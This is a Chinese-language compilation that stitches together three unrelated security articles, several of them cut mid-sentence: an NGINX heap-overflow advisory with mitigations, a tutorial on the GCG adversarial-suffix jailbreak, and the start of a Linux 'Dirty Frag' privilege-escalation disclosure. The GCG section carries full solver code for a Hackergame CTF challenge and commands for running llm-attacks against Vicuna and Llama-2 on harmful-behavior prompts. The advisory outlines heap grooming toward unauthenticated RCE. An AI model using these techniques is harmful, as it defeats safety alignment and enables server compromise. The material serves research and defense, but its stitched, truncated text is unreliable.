当攻击者发送包含大量恶意字符膨胀载荷的请求时,堆缓冲区溢出瞬间发生。溢出的数据无情地践踏了紧邻其后的内存结构。如果该内存处于 NGINX 自定义的 ngx_pool_t 结构内,它会破坏下一个即将被使用的内存块的元数据头部;如果触发了针对大块内存的 malloc 退化,它将破坏底层 glibc(如 ptmalloc)管理堆块(Chunk)所必需的头部信息(例如覆盖了关键的 size 字段或是双向链表的 fd/bk 指针)。
当 NGINX 进程继续运行,试图释放该内存块或在同一池中进行下一次分配时,底层的内存完整性校验机制将被触发。系统侦测到堆数据损坏,会立即抛出 SIGSEGV(段错误)或 SIGABRT 异常中断,直接杀死当前正在处理该请求的 Worker 进程 。虽然 NGINX 的 Master 进程拥有强大的韧性,它会在监控到 Worker 退出(例如在日志中记录类似 worker process <PID> exited on signal 11 的信息)后迅速拉起一个新的替补 Worker,但为攻击者提供了一种极其廉价且高效的攻击途径 。
攻击者可以构建多线程发包工具,以每秒数百次的频率持续发送触发载荷。这种高频的精确打击将导致目标服务器上的所有 NGINX Worker 进程陷入永无止境的“崩溃-重启”死亡循环(Crash Loop)中 。合法的用户请求由于分配不到存活的 Worker 进程,或者连接在处理半途中因进程意外死亡而遭到系统强行重置(Connection reset by peer),从而导致目标 Web 业务或 API 服务呈现全面瘫痪的状态 。在 Alma Linux 团队的独立复现测试中,他们确认在 Alma Linux 8、9、10 及后续衍生版本上,针对目标 Worker 进程制造此类 DoS 攻击路径是
远程代码执行(RCE):受限环境下的服务器接管
多份深度研究报告明确指出,CVE-2026-42945 确实存在被转化为无身份验证 RCE 的完整潜能,然而这其中存在一个至关重要的先决门槛—目标主机的地址空间布局随机化(ASLR)状态 。
在默认开启 ASLR 的环境下,由于堆布局的不可预测性,且当前尚未发现能与此溢出相配合的稳定信息泄露(Info-leak)漏洞,攻击者通过盲目构造溢出载荷去精准覆盖如 NGINX 核心结构体中的 handler 回调函数指针,并将其重定向至有意义的执行链(ROP Chain)的成功率微乎其微。强行尝试的结果绝大多数情况下依然是引发不可恢复的段错误崩溃 。
然而,如果目标系统由于特定的历史遗留原因、兼容性约束、特殊的调试配置,或是某些极度精简的物联网(IoT)固件/老旧嵌入式环境中被人为或被迫禁用了 ASLR(例如配置了 sysctl kernel.randomize_va_space=0)。
在此类未受 ASLR 保护的脆弱环境中,内存的分配模式变得相对静态和确定。Depth First 平台发布的概念验证(PoC)代码成功展示了,在关闭 ASLR 后,攻击者可以通过高度复杂的堆风水(Heap Grooming)技巧,利用合法的请求预先占据特定的堆孔洞,使得目标被覆写的关键回调结构精确落在漏洞溢出覆盖的物理范围之内 。通过精确控制在 $1 捕获变量中输入的字符构成和序列,最终实现对 NGINX 执行控制流的精准劫持,顺利完成无需任何身份验证的底层 Shell 获取,实现了真正意义上的灾难性突破 。
NGINX 内部的衍生漏洞矩阵
除了 NGINX Rift,F5 和开源社区在同一批次的补丁更新中,还集中修补了其他多个同样涉及内存破坏和逻辑错乱的安全漏洞,形成了一个规模庞大的“漏洞补丁包”:
修复指南与纵深防御体系建设
一、核心加固:软件升级
根除 CVE-2026-42945 的唯一终极方案,是用修复了内部引擎转义差异缺陷的安全版本彻底替换脆弱代码。安全补丁通过引入更为一致的状态管理逻辑,确保在长度预估和实际拷贝阶段,对于 URI 逃逸字符的判定标准保持绝对统一。
对于原生的 NGINX Open Source 用户:必须将系统平滑升级至 1.30.1(稳定分支)或 1.31.0(主线分支)以上版本 。
对于使用 NGINX Plus 订阅的商业用户:根据生产环境当前固定的发行列车(Release Train),快速部署对应版本的官方安全修正包,包括 R32 P6、R35 P2 或 R36 P4 。
Linux 发行版软件包管理的跟进:对于通过 apt 或 yum 等包管理器直接从发行版软件库安装 NGINX 的服务器。各主流操作系统社区已迅速响应。例如,Ubuntu 已为 26.04 LTS (resolute) 推送了 1.28.3-2ubuntu1.1,为 24.04 LTS (noble) 提供了 1.24.0-2ubuntu7.8 的安全迭代 ;而 Alma Linux 生态圈内,版本 8、9、10 的用户需立刻更新到诸如 nginx-1.14.1-9.el8.10.alma.1 等包含了向上移植(Backport)代码的新编译包 。在利用包管理器升级后,必须手动执行重启命令(如
二、云原生治理:Kubernetes Ingress-NGINX
由于 Kubernetes 官方维护的 ingress-nginx 核心控制器项目当前处于已归档停止推进的状态,其最终正式版控制器镜像内部锁死并静态编译的仍然是易受攻击的 NGINX 1.27.1 版本 。这是极为危险的供应链安全陷阱:即使系统管理员在承载集群计算节点的宿主机操作系统上更新了 NGINX 的 RPM 或 DEB 包,也对运行在容器内部的控制器进程毫无帮助。
应急审计与规避措施:
集群管理员必须进入特定的 Pod 内部执行诊断命令,直接质询编译二进制文件的版本状态:kubectl exec -n ingress-nginx <controller-pod> -- /nginx-ingress-controller --version 。
战略性架构剥离:借此安全事件为契机,加速淘汰陈旧的 Ingress 架构,全面向更为现代、安全解耦的 Kubernetes Gateway API 实施规范演进 。
短效替代品(Fork 方案):在架构平移完成前,对于无法忍受业务断档的企业,建议将其入口控制器的基础镜像临时替换为由社区积极维护、并且及时合并了上游最新安全补丁(1.30.1+ 核心)的分支项目源(例如 Forkline 项目发布的分支镜像)。
三、不升级情况下的临时措施
核心思路:瓦解触发条件链。因为该溢出极其依赖特定语法符号的堆叠,破坏其中任何一环,都能让漏洞的“预分配与实际执行错位”现象不再发生。
全面使用命名捕获替代未命名系统捕获: 这是最为推荐且影响最小的手段。安全团队需要利用自动化脚本工具,对全网范围内所有的 nginx.conf 及其被包含子配置文件进行地毯式扫描,搜索类似 (.*) 这种依赖 $1, $2 被动赋值的原始正则表达式。 随后,将其全部重构为带有显式名称标识的捕获组,例如使用 (?<my_custom_name>.*) 语法,并在后续的重写路径中显式调用 $my_custom_name。这一语法层面的细微变化,足以改变内部脚本引擎在参数解析时的作用域边界和状态传递链条,完美规避底层缺陷 。
脆弱的配置模式(切勿再使用):
rewrite ^/api/(.*)$ /v2/api.php?query=$1;
set $endpoint "api_v2";
安全配置模式:
# 将被动的 $1 升级为具有隔离性的命名捕获 <apipath>
rewrite ^/api/(?<apipath>.*)$ /v2/api.php?query=$apipath;
set $endpoint "api_v2";
打破指令链枷锁:如果业务重写规则的复杂度允许,可以直接将替换字符串中的问号(?)剔除,或者拆解紧接在其后的 set 或 if 指令,彻底阻断触发执行第二次评估渲染环境所需的“连击(Combo)”条件 。
四、动态监测
如果组织环境内部依然存留着使用脆弱配置且未及更新的 NGINX 实例,那么在被动防御系统上建立高敏态势感知规则是抵御攻击的最后一道壁垒。
建立高敏感的崩溃信标(Crash Beacons):基于此漏洞极其稳定地引发进程终止的特性,防守方应在 SIEM(安全信息和事件管理系统)、Logstash 或集中式的可观测性平台上部署特殊的检测启发式规则。一旦通过模式匹配识别到 NGINX 错误日志中开始大量、规律性地浮现诸如 worker process exited on signal 11 或类似指向 SIGSEGV 断流的关键事件报错,且同一时间维度的 HTTP 访问日志中伴随出现源自特定 IP 范围、含有大量超常编码字符(如冗长的未编码 % 或 + 串列)的异常请求,应当立即触发红色预警响应协议,拉黑关联攻击源,防止针对目标基础设
系统底层防御基线红线审查:安全运维工程师必须针对所有承载着对公网暴露(Internet-facing)NGINX 实例的核心服务器及虚机容器,执行底层的基线回溯审查。重点审查操作系统的地址空间布局随机化(ASLR)核心状态(通过确认 sysctl kernel.randomize_va_space 返回值是否为默认的安全值 2)。如若发现任何因特殊的兼容性诉求、早期的环境隔离配置或是由于承载于不规范硬件上而人为导致 ASLR 完全禁用或被削弱的主机节点,必须将其安全修复优先级上提至最高紧急(P0)级别,因为只有在这类脆弱且无防护伞的环境下,NGINX Rift 漏洞才有可能被实打实地转化为接管
Prompt is Search:GCG 与大模型对抗后缀攻击
0.前言
在上一次的技术分享文章中,着重讨论了 RAG 时代的数据投毒问题,也就是当外部文档被检索、拼接并送入大模型上下文时,数据就不再只是被动的信息来源,它可能变成一段能够影响模型行为的代码,详细可以搜索《Data is Code:RAG 时代的数据投毒与大模型上下文劫持》
这种风险在 RAG 系统中尤为明显,攻击者不一定需要入侵服务器,也不一定需要修改模型权重,只要一段被污染的文本进入知识库,并在合适的问题下被召回,它就有机会改变模型的回答逻辑,突破指令边界,甚至诱导模型泄露同一上下文中的敏感信息。
上次我在第三种RAG投毒方式,零交互数据窃取中,提到这种攻击还可以进一步升级,即用GCG计算出一串人类看不懂的乱码,这串乱码在向量空间里的坐标跟很多都重合,完成一次更加隐蔽的攻击
RAG 投毒更多讨论的是攻击内容如何进入上下文,而 GCG 是探讨,如果我们已经知道模型会受上下文影响,那么能不能用算法自动搜索出最容易影响模型的那一小段文本?
这就是 GCG 值得被单独拿出来讲的原因,因为它把大模型越狱从人写 prompt推进到了算法优化 prompt的阶段
说到底,如果说 RAG 投毒讨论的是外部数据如何劫持上下文,那么 GCG 讨论的就是另一个更底层的问题:模型的安全边界,是否可以被算法自动搜索出来?
1.GCG介绍
在讨论 GCG 之前,先要把它放回到大模型越狱的语境里
1.1从 Jailbreak 到 Adversarial Suffix
传统的 Jailbreak(越狱),本质上是通过构造特殊提示词,让模型偏离原本的安全对齐策略。比如通过角色扮演、规则重写、上下文欺骗、任务拆分等方式,让模型误以为自己可以回答原本应该拒绝的问题
这类方法有一个共同点:它们基本上是由人写出来的
也就是说,攻击效果依赖于攻击者对模型行为的观察、对提示词的理解,以及大量试错。攻击者要不断调整表达方式,测试模型是否会拒绝,观察模型在哪些语境下更容易被攻击,比如说会说一些不该说的话,或者是泄露不该泄露的东西
但 GCG 的出现,把这个问题变成了个半自动,即GCG 不再把 Jailbreak 看成一个单纯的提示词写作问题,而是把它建模成一个优化问题:
在用户原始问题后面,能不能自动搜索出一小段 token 后缀,让模型更倾向于生成目标响应,而不是执行安全拒答?
这段被搜索出来的文本,通常叫做adversarial suffix,也就是对抗后缀
它可以被抽象成下面这个形式:
用户问题 + 对抗后缀 → 模型输出
这里真正被优化的,不是用户问题本身,也不是模型权重,而是后面那一小段额外文本
这也是 GCG 和传统 Jailbreak 最大的差别
说得通俗易懂点,就是传统 Jailbreak 更像是在说服模型,而GCG算法更像是在搜索模型的脆弱方向
之前的分享里讲 RAG 投毒时,重点是外部数据如何进入上下文,并在推理期影响模型行为
而这次讲 GCG,就是在进一步探索,如果说模型确实会被上下文影响,那么什么样的上下文片段最容易影响它?
1.2 GCG算法
GCG的原文链接 https://arxiv.org/abs/2307.15043
GCG 是Greedy Coordinate Gradient的缩写,可以拆成三个关键词来看:
Greedy 贪心
Coordinate 坐标
Gradient 梯度
这三个词基本上就概括了它的核心思想
Gradient 指的是,算法会利用模型的梯度信息,判断当前后缀中的某个 token 如果被替换,模型输出会朝哪个方向变化
Coordinate 指的是,它不是一次性改完整段文本,而是把后缀看成多个位置,每次选择其中一个 token 位置进行修改
这里的位置可以简单理解成后缀中的第几个 token
比如:
[x0] [x1] [x2] [x3] [x4]
GCG 每次会尝试修改其中某一个位置,比如先看 x3 能不能换成更合适的 token,再看 x1、x4 等位置
Greedy指的是,每一轮修改时,它都会倾向于保留当前看起来效果最好的替换。也就是说,它不保证一次找到全局最优,但会不断做局部最优选择,让后缀逐步
朝目标方向靠近
所以,用一句话解释 GCG
GCG 是一种利用梯度信息,在离散 token 空间中贪心搜索对抗后缀的方法
如果说得更人话一点:
它就像是在模型输入后面放了一串可调参数,然后不断问模型:我把这里换成哪个 token,最容易让你的输出朝目标方向偏移
这里可能会有人有个疑问,特别是有做图像干扰的师傅们
就是图像可以做梯度优化很好理解,因为图片是像素矩阵,像素值是连续的
比如一个像素原来是:0.31 我们可以把它微调成:0.33 但文本不是连续的
一个 token 要么是猫,要么是狗,要么是某个标点符号,不能把猫加上 0.01 变成另一个 token
所以疑问就是
token 是离散的,GCG 为什么还能用梯度?
其实关键在于语言模型真正处理的并不是 token 字符串本身,而是 token 对应的 embedding 向量
Embedding 向量就像是给每一个词语或事物分配的多维特征坐标位置,它把人类才能懂的抽象概念变成了一串数字,让意思越相近的东西,在这个数学坐标系里
住得越紧凑,从而让计算机能直接通过量距离来算出它们的关系
举个最直白的例子解释一下
如果把词语当成找对象,我们可以给它们打分(坐标):
“苹果”:甜度(0.8),水分(0.9),机械感(0.0) -> [0.8, 0.9, 0.0]
“香蕉”:甜度(0.9),水分(0.5),机械感(0.0) -> [0.9, 0.5, 0.0]
“汽车”:甜度(0.0),水分(0.0),机械感(1.0) -> [0.0, 0.0, 1.0]
在计算机眼里,它算一下距离就会发现,苹果和香蕉的向量数字非常接近,所以它们是同一类,都是属于水果范畴
而汽车跟它们差了十万八千里,这就是 Embedding 的核心作用
回到GCG,一个输入 token 进入模型时,会先被映射成一个高维向量,虽然 token ID 是离散的,但 embedding 向量是连续的,连续向量就可以参与梯度计算
可以这样理解:
token → embedding 向量
离散文本 → 连续空间中的一个点
不可直接求导 → 可以通过向量方向估计变化趋势
GCG 并不是直接对 token 做加减法,而是通过梯度判断:
如果想让模型更接近某个目标输出,那么当前这个 token 对应的 embedding 应该往哪个方向变化?
然后算法会回到词表中,寻找那些更接近这个方向的候选 token,再尝试用它们替换当前 token
所以,GCG 的关键并不是文本本身可导,而是:
文本进入模型后会变成 embedding,而 embedding 空间中的方向变化可以用梯度来估计
这也是为什么它经常会生成一些人类看起来像乱码的后缀,因为GCG算法并不是在追求人类读起来通顺,而是在追求模型内部表示空间中的有效扰动
从安全对齐的角度看,一个经过对齐的模型在面对危险问题时,理想行为应该是拒绝回答
也就是说,当输入是危险问题的时候,模型应该更倾向于输出:
抱歉,我不能帮助完成这个请求
而不是输出具体的危险内容
GCG 要做的事情,就是在不修改模型权重的情况下,只通过修改输入后缀,让模型的输出概率发生偏移
可以抽象成:
原始状态:
用户问题 → 模型倾向于拒答
加入后缀后:
用户问题 + 后缀 → 模型更容易生成目标响应
这里需要注意一点:
GCG 并不是让模型理解这段后缀的语义,也不一定是通过自然语言逻辑说服模型。
很多时候,这段后缀在人类看来没有明确含义,但它在模型内部可能会影响某些 token 的生成概率
类比到图像对抗样本一样,人眼看到的图片几乎没变化,但模型的分类结果可能发生变化,GCG 对语言模型做的是类似的事情,只不过扰动对象从像素变成了 token
因此,GCG 的真正意义不是发现了一种奇怪的越狱提示词,而是说明:
大模型的安全边界可能不是一个稳定的语义规则边界,而是一个可以被搜索和逼近的概率边界。
1.3 GCG具体流程
通俗易懂来说,GCG可以具体分为六步
第一步:初始化一段后缀
算法首先会在用户问题后面放一段初始后缀
这段后缀一开始可以是随机 token,也可以是某种占位文本
抽象表示如下:
用户问题 + [x1, x2, x3, x4, ..., xn]
其中 [x1, x2, x3, ..., xn] 就是后面要不断优化的部分
第二步:设定优化目标
GCG 需要一个目标方向,比如,它可能希望模型更倾向于生成某类目标响应,而不是安全拒答
可以把它抽象成:
目标:让模型输出从拒答路径偏向目标响应路径
第三步:计算当前后缀的影响
模型会根据当前输入计算输出概率,此时算法会评估:
当前后缀距离目标还有多远?
如果当前后缀效果不好,说明它还需要继续被修改
这个距离通常会通过损失函数来衡量
损失函数就是 AI 的错题扣分器,预测答案偏离标准答案越离谱,扣的分,也就是Loss 值就越高,AI 学习的过程就是想方设法把这个分数降到最低
举个例子,最开始的 Loss 是 6.13,说明那一组前缀离成功劫持大模型还差得很远;经过 200 轮的不断纠错调整,Loss 降到了 0.0004,说明算法已经找到了近乎
完美的payload,错题本上的扣分基本清零了
损失越高,说明模型越不倾向于生成目标响应,损失越低,说明当前后缀越能把模型推向目标方向
说白了,就是GCG 会把模型有没有被诱导到目标方向转化成一个可计算的损失值
第四步:用梯度寻找候选 token
接下来是 GCG 最关键的一步。
算法会查看后缀中每一个位置,估计如果替换这个位置上的 token,损失可能如何变化
比如当前后缀是:
[x0] [x1] [x2] [x3] [x4]
算法可能发现,修改 x3 对降低损失最有帮助,于是它会围绕 x3 这个位置,从词表中挑出一批候选 token
这里的梯度就像一个方向指示器,它告诉算法,当前这个位置,往哪些 token 方向替换更可能有效?
第五步:尝试替换并评估效果
找到候选 token 后,算法会尝试把当前位置替换成不同候选项,然后重新计算损失。
比如:
原始后缀:
[x0] [x1] [x2] [x3] [x4]
候选替换:
[x0] [x1] [a] [x3] [x4]
[x0] [x1] [b] [x3] [x4]
[x0] [x1] [c] [x3] [x4]
算法会比较这些替换方案,选择让损失下降最多的那个
第六步:重复迭代
完成一次替换后,算法会继续下一轮,它会再次计算梯度,再次选择位置,再次生成候选 token,再次替换。
整个过程可以画成下面这个循环:
初始化后缀
↓
计算损失
↓
计算梯度
↓
选择候选 token
↓
尝试替换
↓
保留效果最好的替换
↓
重复迭代
经过多轮迭代后,原本随机或普通的后缀,可能会变成一段对模型输出有明显影响的 adversarial suffix
整个过程的伪代码如下:
输入:
模型 M
原始输入 x
可优化后缀 s = [s1, s2, ..., sn]
目标响应 y
迭代轮数 T
初始化:
随机或固定初始化一段 suffix s
循环 T 轮:
1. 将 x 与当前 suffix s 拼接,送入模型 M
2. 计算模型生成目标响应 y 的损失 L
3. 对 suffix 中每个 token 位置计算梯度
4. 根据梯度为每个位置选出若干候选 token
5. 尝试替换某个位置上的 token
6. 重新计算替换后的损失
7. 保留让损失下降最多的那次替换
输出:
优化后的 suffix s
上面这段伪代码看起来像普通优化算法,但它真正特殊的地方在于,优化对象不是模型参数,而是输入文本
优化空间不是连续向量,而是离散 token,优化目标不是提升任务准确率,而是改变模型在安全边界附近的输出倾向
2.GCG实践
说了这么多,我们来做点GCG实践
2.1 Hackergame
https://github.com/USTC-Hackergame/hackergame2023-writeups这里拿中国科学技术大学2023的一道Hackergame题目来讲解
本地部署环境一定要 Gradio 3.50.2 和 Transformers 4.35.0
否则本地跑起来会有各种各样的错误
这里我们着重来看第三个flag
flag3已经不像之前的flag1和flag2可以通过手写提示词的方式就可以直接拿到flag的
这里就必须用到GCG算法了,我们回顾一下刚刚所讲的GCG步骤
先初始化,设定目标,计算后缀,梯度寻找token,替换评估,重复迭代,这里就不再过多赘述了,直接看解题代码
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig
from livelossplot import PlotLosses # pip install livelossplot
import gc
import numpy as np
import torch
import torch.nn as nn
from transformers import AutoModelForCausalLM, AutoTokenizer
np.random.seed(20)
torch.manual_seed(20)
torch.cuda.manual_seed_all(20)
target = "hackergame" # 这个就是我所说的初始化目标
num_steps = 500 #最多优化 500 轮
adv_string_init = "!"*100 #初始前缀,先用 100 个感叹号占位
adv_prefix = adv_string_init #当前正在被优化的前缀
# larger batch_size means more memory (but more likely to succeed)
batch_size = 512 #每轮尝试 512 个候选前缀
device = 'cuda:0'
topk = 256 #每个位置从梯度推荐的前 256 个 token 里采样
def get_embedding_matrix(model):
return model.transformer.wte.weight
def get_embeddings(model, input_ids):
return model.transformer.wte(input_ids)
def token_gradients(model, input_ids, input_slice, target_slice, loss_slice):
"""
Computes gradients of the loss with respect to the coordinates.
Parameters
----------
model : Transformer Model
The transformer model to be used.
input_ids : torch.Tensor
The input sequence in the form of token ids.
input_slice : slice
The slice of the input sequence for which gradients need to be computed.
target_slice : slice
The slice of the input sequence to be used as targets.
loss_slice : slice
The slice of the logits to be used for computing the loss.
Returns
-------
torch.Tensor
The gradients of each token in the input_slice with respect to the loss.
"""
embed_weights = get_embedding_matrix(model)
one_hot = torch.zeros(
input_ids[input_slice].shape[0],
embed_weights.shape[0],
device=model.device,
dtype=embed_weights.dtype
)
one_hot.scatter_(
1,
input_ids[input_slice].unsqueeze(1),
torch.ones(one_hot.shape[0], 1,
device=model.device, dtype=embed_weights.dtype)
)
one_hot.requires_grad_()
input_embeds = (one_hot @ embed_weights).unsqueeze(0)
# now stitch it together with the rest of the embeddings
embeds = get_embeddings(model, input_ids.unsqueeze(0)).detach()
full_embeds = torch.cat(
[
input_embeds,
embeds[:, input_slice.stop:, :]
],
dim=1
)
logits = model(inputs_embeds=full_embeds).logits
targets = input_ids[target_slice]
loss = nn.CrossEntropyLoss()(logits[0, loss_slice, :], targets)
loss.backward()
grad = one_hot.grad.clone()
grad = grad / grad.norm(dim=-1, keepdim=True)
return grad
def sample_control(control_toks, grad, batch_size):
control_toks = control_toks.to(grad.device)
original_control_toks = control_toks.repeat(batch_size, 1)
new_token_pos = torch.arange(
0,
len(control_toks),
len(control_toks) / batch_size,
device=grad.device
).type(torch.int64)
top_indices = (-grad).topk(topk, dim=1).indices
new_token_val = torch.gather(
top_indices[new_token_pos], 1,
torch.randint(0, topk, (batch_size, 1),
device=grad.device)
)
new_control_toks = original_control_toks.scatter_(
1, new_token_pos.unsqueeze(-1), new_token_val)
return new_control_toks
def get_filtered_cands(tokenizer, control_cand, filter_cand=True, curr_control=None):
cands, count = [], 0
for i in range(control_cand.shape[0]):
decoded_str = tokenizer.decode(
control_cand[i], skip_special_tokens=True)
if filter_cand:
if decoded_str != curr_control \
and len(tokenizer(decoded_str, add_special_tokens=False).input_ids) == len(control_cand[i]):
cands.append(decoded_str)
else:
count += 1
else:
cands.append(decoded_str)
if filter_cand:
cands = cands + [cands[-1]] * (len(control_cand) - len(cands))
return cands
def get_logits(*, model, tokenizer, input_ids, control_slice, test_controls, return_ids=False, batch_size=512):
if isinstance(test_controls[0], str):
max_len = control_slice.stop - control_slice.start
test_ids = [
torch.tensor(tokenizer(
control, add_special_tokens=False).input_ids[:max_len], device=model.device)
for control in test_controls
]
pad_tok = 0
while pad_tok in input_ids or any([pad_tok in ids for ids in test_ids]):
pad_tok += 1
nested_ids = torch.nested.nested_tensor(test_ids)
test_ids = torch.nested.to_padded_tensor(
nested_ids, pad_tok, (len(test_ids), max_len))
else:
raise ValueError(
f"test_controls must be a list of strings, got {type(test_controls)}")
if not (test_ids[0].shape[0] == control_slice.stop - control_slice.start):
raise ValueError((
f"test_controls must have shape "
f"(n, {control_slice.stop - control_slice.start}), "
f"got {test_ids.shape}"
))
locs = torch.arange(control_slice.start, control_slice.stop).repeat(
test_ids.shape[0], 1).to(model.device)
ids = torch.scatter(
input_ids.unsqueeze(0).repeat(test_ids.shape[0], 1).to(model.device),
1,
locs,
test_ids
)
if pad_tok >= 0:
attn_mask = (ids != pad_tok).type(ids.dtype)
else:
attn_mask = None
if return_ids:
del locs, test_ids
gc.collect()
return forward(model=model, input_ids=ids, attention_mask=attn_mask, batch_size=batch_size), ids
else:
del locs, test_ids
logits = forward(model=model, input_ids=ids,
attention_mask=attn_mask, batch_size=batch_size)
del ids
gc.collect()
return logits
def forward(*, model, input_ids, attention_mask, batch_size=512):
logits = []
for i in range(0, input_ids.shape[0], batch_size):
batch_input_ids = input_ids[i:i+batch_size]
if attention_mask is not None:
batch_attention_mask = attention_mask[i:i+batch_size]
else:
batch_attention_mask = None
logits.append(model(input_ids=batch_input_ids,
attention_mask=batch_attention_mask).logits)
gc.collect()
del batch_input_ids, batch_attention_mask
return torch.cat(logits, dim=0)
def target_loss(logits, ids, target_slice):
crit = nn.CrossEntropyLoss(reduction='none')
loss_slice = slice(target_slice.start-1, target_slice.stop-1)
loss = crit(logits[:, loss_slice, :].transpose(1, 2), ids[:, target_slice])
return loss.mean(dim=-1)
model = AutoModelForCausalLM.from_pretrained(
'roneneldan/TinyStories-33M',
torch_dtype=torch.float16,
trust_remote_code=True,
).to(device).eval()
tokenizer = AutoTokenizer.from_pretrained(
"EleutherAI/gpt-neo-125M", use_fast=False)
def is_success(prompt):
input_ids = tokenizer.encode(prompt, return_tensors="pt")
output = model.generate(input_ids.to(
device), max_new_tokens=50, num_beams=1, temperature=0)
output = output[:, len(input_ids[0]):]
output_text = tokenizer.decode(output[0], skip_special_tokens=True)
print(output_text)
if output_text.lower().find(target.lower()) != -1:
return True
return False
plotlosses = PlotLosses()
adv_slice = slice(0, len(tokenizer.encode(
adv_string_init, add_special_tokens=False)))
target_slice = slice(adv_slice.stop, adv_slice.stop +
len(tokenizer.encode(target, add_special_tokens=False)))
loss_slice = slice(target_slice.start-1, target_slice.stop-1)
best_new_adv_prefix = ''
for i in range(num_steps):
input_ids = tokenizer.encode(
adv_prefix+target, add_special_tokens=False, return_tensors='pt').squeeze()
input_ids = input_ids.to(device)
coordinate_grad = token_gradients(model,
input_ids,
adv_slice,
target_slice,
loss_slice)
with torch.no_grad():
adv_prefix_tokens = input_ids[adv_slice].to(device)
new_adv_prefix_toks = sample_control(adv_prefix_tokens,
coordinate_grad,
batch_size)
new_adv_prefix = get_filtered_cands(tokenizer,
new_adv_prefix_toks,
filter_cand=True,
curr_control=adv_prefix)
logits, ids = get_logits(model=model,
tokenizer=tokenizer,
input_ids=input_ids,
control_slice=adv_slice,
test_controls=new_adv_prefix,
return_ids=True,
batch_size=batch_size) # decrease this number if you run into OOM.
losses = target_loss(logits, ids, target_slice)
best_new_adv_prefix_id = losses.argmin()
best_new_adv_prefix = new_adv_prefix[best_new_adv_prefix_id]
current_loss = losses[best_new_adv_prefix_id]
adv_prefix = best_new_adv_prefix
# Create a dynamic plot for the loss.
plotlosses.update({'Loss': current_loss.detach().cpu().numpy()})
plotlosses.send()
print(f"Current Prefix:{best_new_adv_prefix}", end='\r')
if is_success(best_new_adv_prefix):
break
del coordinate_grad, adv_prefix_tokens
gc.collect()
torch.cuda.empty_cache()
if is_success(best_new_adv_prefix):
print("SUCCESS:", best_new_adv_prefix)
脚本的核心思想是:先初始化一段无意义前缀,例如一串感叹号,然后不断修改这段前缀中的 token,使模型在看到这段前缀后,更倾向于把 hackergame 作为后续文本生成出来,也就是说,优化阶段并不是直接让模型自由生成,而是把输入构造成:
adv_prefix + hackergame
然后计算模型在当前 adv_prefix 条件下预测 hackergame 的 loss,并且将loss值降低
GCG 的关键在于,它不是随机乱试前缀,而是利用梯度来指导 token 替换
脚本会把可控前缀中的每个 token 转成 one-hot 表示,再通过模型的 embedding 矩阵映射成连续向量。虽然 token 本身是离散的,但 embedding 空间是连续
的,因此可以计算目标 loss 对这些 one-hot 位置的梯度
梯度告诉我们:如果想让 loss 下降,当前位置更应该替换成哪些 token
接下来,脚本会为每个位置选出若干个梯度方向上更有希望的候选 token,并构造出一批候选前缀
每个候选前缀通常只和当前前缀相差一个 token,然后脚本批量评估这些候选前缀对应的目标 loss,选择 loss 最低的那个作为新的前缀
这个过程会不断重复:
直到模型在只看到 adv_prefix 的情况下,能够自动续写出 hackergame,脚本就认为攻击成功
2.2 本地部署GCG
https://github.com/llm-attacks/llm-attacks可以在本地进行gcg攻击过程的一个复现,前期环境安装的命令就不提了,这里提一个模型的问题
#
pip install "fschat[model_worker]"
python -c "
from huggingface_hub import snapshot_download
snapshot_download('lmsys/vicuna-7b-v1.5', local_dir='/data/models/vicuna-7b-v1.5')
"
#
python -c "
from huggingface_hub import snapshot_download
snapshot_download('meta-llama/Llama-2-7b-chat-hf',
local_dir='/data/models/llama-2-7b-chat-hf',
token='YOUR_HF_TOKEN')
"
第一种是下载Vicuna-7B模型,这种模型最轻量,复现最快
第二种是LLaMA-2-7B-Chat,也是论文中的主要目标,但是LLaMA-2 需要先在 HuggingFace 申请访问权限,获取 token
启动命令
CUDA_VISIBLE_DEVICES=0 python -u ../main.py \
--config="../configs/individual_vicuna.py" \
--config.attack=gcg \
--config.train_data="../../data/advbench/harmful_behaviors.csv" \
--config.result_prefix="../results/test_run" \
--config.n_train_data=2 \
--config.data_offset=0 \
--config.n_steps=10 \
--config.test_steps=5 \
--config.batch_size=512
可以看到最终的结果在终端中,随着迭代步数(n_steps)的推进,有几个现象印证了 GCG 算法原理:
在每一轮迭代中,终端都会实时打印出当前的 Loss 值。正如前文所述,损失函数在这里充当了扣分器
在针对目标任务,例如诱导模型输出恶意漏洞脚本的第 0 步,初始的感叹号后缀(! ! !...)产生的 Loss 值通常较高,这说明在没有任何有效干预时,模型原始状态强烈倾向于执行安全拒答
但随着梯度优化的进行,Loss 值会肉眼可见地逐步缩小,这意味着算法找到了让损失下降最多的替换方案,当前生成的对抗后缀正在把模型的输出概率一步步推向设定的目标方向
且在不断迭代的过程中,最初的占位符,比如感叹号会被诸如 avec、payload、compact 等看似毫不相干的词汇或零碎符号逐渐替换
这个过程直观地展示了算法如何利用梯度信息,在离散 token 空间中进行贪心搜索
它根本不在意这些词汇组合在人类读起来是否通顺,它只在乎把某个位置换成哪个 token,最容易让输出朝目标方向偏移
也就是说,大模型的安全边界可能不是一个稳定的语义规则边界,而是一个可以被算法自动搜索和逼近的概率边界
这段对抗样本对人眼来说毫无逻辑,但在模型内部的连续 Embedding 空间中,它却构成了最致命的有效扰动
当跑完设定的步数后,如果 Loss 降到了足够低的阈值,模型就会彻底突破原本的安全对齐限制,顺着后缀,将原本应该拒绝的恶意内容直接生成出来
这里我只实验了10步,做了一个测试而已,所以最终结果 (Step 10): 攻击失败 (Passed 0/1)
归根到底还是因为步数太少,算法没能找到有效的破解后缀,模型依然坚守底线,回答:I'm sorry, but I cannot provide a strategy for hacking...
所以可以把n_steps设置为500,可能会有更好的效果
Dirty Frag 漏洞曝光,影响所有主流 Linux 发行版
漏洞概述
2026年5月7日,安全研究领域迎来了一次重大的震荡,安全研究员 Hyunwoo Kim 披露了一种名为 "Dirty Frag" 的新型 Linux 内核本地权限提升(LPE)漏洞。该漏洞属于纯逻辑型缺陷,其破坏力极大,允许任何非特权本地用户在几乎所有主流 Linux 发行版上实现稳定、无需竞态条件的 Root 权限提升。
Dirty Frag 漏洞并非单一的代码疏漏,而是由内核网络协议栈中两个独立子系统的历史遗留架构问题串联而成:分别存在于 xfrm-ESP(自2017年引入)与 RxRPC(自2023年引入)子系统中的原地解密(In-place Decryption)逻辑缺陷。该漏洞与此前轰动业界的 "Copy Fail" (CVE-2026-31431) 和著名的 "Dirty Pipe" (CVE-2022-0847) 属于同一漏洞家族,均利用了 Linux 内核在零拷贝(Zero-Copy)路径(如 splice()、sendfile() 或使用 MSG_SPLICE_PAGES 标志)上对页缓存(Pa
漏洞原理分析
Linux 页缓存 (Page Cache) 机制的信任模型
